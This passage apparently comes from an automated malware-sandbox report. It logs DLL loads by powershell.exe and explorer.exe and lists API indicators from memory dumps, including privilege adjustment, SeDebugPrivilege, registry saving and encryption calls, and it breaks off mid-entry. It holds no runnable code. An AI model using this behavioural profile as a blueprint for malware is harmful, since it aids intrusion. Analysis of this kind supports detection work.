%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005572) "explorer.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00005432) "explorer.exe" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00005432)36:T62be,Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegRestoreKeyW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegLoadKeyW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegUnLoadKeyW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyExW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "IsCharAlphaNumericW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegFlushKey"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "LocalReAlloc"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "NtQueryKey"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00004092.00000000.157389.16C7F000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004500.00000000.157721.62050000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp, 00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004500.00000001.157884.5FB12000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: 